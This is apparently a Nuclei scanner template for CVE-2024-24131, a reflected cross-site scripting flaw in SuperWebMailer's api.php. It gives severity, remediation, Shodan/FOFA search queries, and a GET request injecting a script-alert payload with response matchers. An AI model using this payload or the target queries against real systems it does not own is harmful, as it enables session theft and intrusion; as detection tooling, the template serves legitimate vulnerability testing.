id: CVE-2024-24131

info:
  name: SuperWebMailer 9.31.0.01799 - Cross-Site Scripting
  author: DhiyaneshDK
  severity: medium
  description: |
    SuperWebMailer v9.31.0.01799 was discovered to contain a reflected cross-site scripting (XSS) vulenrability via the component api.php.
  impact: |
    Unauthenticated attackers can execute arbitrary JavaScript in a victim's browser via the api.php component, potentially stealing cookies or session tokens.
  remediation: |
    Update SuperWebMailer to a version newer than 9.31.0.01799.
  reference:
    - https://github.com/fkie-cad/nvd-json-data-feeds
    - https://nvd.nist.gov/vuln/detail/CVE-2024-24131
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-24131
    cwe-id: CWE-79
    epss-score: 0.00924
    epss-percentile: 0.56916
    cpe: cpe:2.3:a:superwebmailer:superwebmailer:9.31.0.01799:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: superwebmailer
    product: superwebmailer
    shodan-query:
      - title:"SuperWebMailer"
      - http.title:"superwebmailer"
    fofa-query: title="superwebmailer"
    google-query: intitle:"superwebmailer"
  tags: cve,cve2024,superwebmailer,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/api.php/<script>alert(document.domain)</script>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"
          - "SuperWebMailerAPI"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 490a0046304402207096fd641350322d6ab45f4f3cafdd4d6d6877ff69a2f26caf377e827335f2540220457195fb3bccc3e1ca8ec47169e7082f66436ca0379e31da5b618c46b51ed66a:922c64590222798bb761d5b6d8e72950